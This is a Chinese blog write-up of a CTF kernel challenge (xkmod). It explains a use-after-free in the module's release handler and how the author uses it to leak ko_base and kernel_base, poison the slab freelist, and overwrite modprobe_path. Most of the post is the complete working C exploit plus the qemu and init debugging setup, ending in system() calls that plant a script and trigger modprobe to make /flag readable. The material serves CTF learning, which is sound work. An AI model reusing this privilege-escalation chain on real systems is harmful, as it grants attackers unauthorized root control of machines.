是时候展现真正的躺赢技术了:)
出题人kaslr
写错了 写成了kalsr
不过不影响 因为kaslr默认开启 同时开启的还有smep和smap
此题没有init
先来看看xkmod_init
ckmem_cache * kmem_cache_create (const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))
功能: 用来创建一个slab新缓存 这通常是在内核初始化时执行的 或者在首次加载内核模块时执行
name
:该参数指缓存名称,proc文件系统(在/proc/slabinfo中)使用它标识一个缓存。size
:该参数指定了为这个缓存创建的对象的大小,它是以字节为单位的。align
:该参数定义了每个对象的对齐方式。flags
:该参数指定了分配缓存时的选项,这些选项标志如表所示
简单来说就是创造了一个新的chunk缓存
再来看看xkmod_ioctl
乱的雅痞 配合着ghidra
食用更好一点
很明显就是三个功能嘛
控制代码0x6666666
从用户读入到公共chunk
中
控制代码0x7777777
从公共chunk
输出到用户态中
控制代码0x1111111
新建一个大小为0xcc0的公共chunk
最后看看xkmod_release
就是在关闭设备的时候free掉公共chunk
那么漏洞其实已经很明显了 因为最后关闭设备的时候没有清空指针 如果我们同时打开多个设备 然后关闭掉其中一个就能得到一个UAF漏洞 Kernel内的chunk结构和用户态的差不多 都是一个链表串联起所有的free_chunk 同时我们存在读写功能 那么就能实现任意读和任意写
那么最后提权思路最简单的就是修改modprobe_path
了
虽然我们能任意读写 但是我们如何获取ko_base
和kernel_base
仍然是一个问题 我们暂时先把kaslr
关掉来摸索下
这时候我们发现我们可以通过UAF
泄漏出来chunk指针 这个chunk指针前半部分完全就是ko_base
的模样
c int fd=open("/dev/xkmod",O_RDONLY);
int fd2=open("/dev/xkmod",O_RDONLY);
int fd3=open("/dev/xkmod",O_RDONLY);
kmalloc(fd);
close(fd2);
size_t* temp_mem=malloc(0x50);
kread(fd,temp_mem,0,0x20);
size_t leak_addr=temp_mem[0];
printf("[+] leak_addr: %p\n",leak_addr);
那么我们可以直接取高位地址作为ko_base
即可
有了ko_base
那么kernel_base
就好整了 在ko_base+0x9d000
处存在一个函数指针secondary_startup_64
我们把他读出来就行了
c int fd=open("/dev/xkmod",O_RDONLY);
int fd2=open("/dev/xkmod",O_RDONLY);
int fd3=open("/dev/xkmod",O_RDONLY);
kmalloc(fd);
close(fd2);
size_t* temp_mem=malloc(0x50);
kread(fd,temp_mem,0,0x20);
size_t leak_addr=temp_mem[0];
printf("[+] leak_addr: %p\n",leak_addr);
size_t ko_base=leak_addr&0xfffffffff0000000;
printf("[+] ko_base: %p\n",ko_base);
size_t secondary_startup_64=ko_base+0x9d000-0x10;
printf("[+] ready to get %p\n",secondary_startup_64);
memset(temp_mem,0,0x50);
temp_mem[0]=secondary_startup_64;
kwrite(fd,temp_mem,0,0x20);
kmalloc(fd);
kmalloc(fd);
memset(temp_mem,0,0x20);
kread(fd,temp_mem,0x10,0x8);
secondary_startup_64=temp_mem[0];
printf("[+] secondary_startup_64: %p\n",secondary_startup_64);
size_t kernel_base=secondary_startup_64-0x30;
printf("[+] kernel_base: %p\n",kernel_base);
当我们确定好提权思路之后发现一个比较坑的地方就是 我们的vmlinux中没有modprobe_path
的符号 那么如何获取modprobe_path
的偏移又成了问题
这时候需要我们自己去汇编中找modprobe_path
的地址了 首先我们需要自己写一个init
然后将init
中的rdinit=/sbin/init
删掉即可 这里我直接借用之前题中的init
shqemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram quiet nokaslr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic \
-s
sh#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod xkmod.ko
chmod 666 /dev/xkmod
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag
poweroff -d 120 -f &
chroot . setuidgid 0 /bin/sh #normal user
切到root之后我们需要寻找__request_module
的地址
shcat /proc/kallsyms | grep "__request_module"
然后切入gdb调试 此值即为modprobe_path
的地址 直接减去基址算出来偏移即可
c#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
struct data
{
void* ptr;
unsigned int offset;
unsigned int size;
/*
unsigned int != size_t
sizeof(data)=0x10
*/
};
void kread(int fd,size_t ptr,size_t offset,size_t size)
{
struct data a;
a.ptr=ptr;
a.offset=offset;
a.size=size;
ioctl(fd,0x7777777,&a);
}
void kwrite(int fd,size_t ptr,size_t offset,size_t size)
{
struct data a;
a.ptr=ptr;
a.offset=offset;
a.size=size;
ioctl(fd,0x6666666,&a);
}
void kmalloc(int fd)
{
struct data a;
a.ptr=2;
a.offset=0;
a.size=0;
ioctl(fd,0x1111111,&a);
}
void main()
{
int fd=open("/dev/xkmod",O_RDONLY);
int fd2=open("/dev/xkmod",O_RDONLY);
int fd3=open("/dev/xkmod",O_RDONLY);
kmalloc(fd);
close(fd2);
size_t* temp_mem=malloc(0x50);
kread(fd,temp_mem,0,0x20);
size_t leak_addr=temp_mem[0];
printf("[+] leak_addr: %p\n",leak_addr);
size_t ko_base=leak_addr&0xfffffffff0000000;
printf("[+] ko_base: %p\n",ko_base);
size_t secondary_startup_64=ko_base+0x9d000-0x10;
printf("[+] ready to get %p\n",secondary_startup_64);
memset(temp_mem,0,0x50);
temp_mem[0]=secondary_startup_64;
kwrite(fd,temp_mem,0,0x20);
kmalloc(fd);
kmalloc(fd);
memset(temp_mem,0,0x20);
kread(fd,temp_mem,0x10,0x8);
secondary_startup_64=temp_mem[0];
printf("[+] secondary_startup_64: %p\n",secondary_startup_64);
size_t kernel_base=secondary_startup_64-0x30;
printf("[+] kernel_base: %p\n",kernel_base);
size_t modprobe_path=kernel_base+0x1444700;
printf("[+] modprobe_path: %p\n",modprobe_path);
close(fd3);
temp_mem[0]=modprobe_path-0x10;
kwrite(fd,temp_mem,0,0x20);
kmalloc(fd);
kmalloc(fd);
char target[100]="/home/test.sh";
kwrite(fd,target,0x10,0x20);
printf("has write\n");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/test.sh");
system("chmod +x /home/test.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/fuck");
system("chmod +x /home/fuck");
system("/home/fuck");
system("cat /flag");
}
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!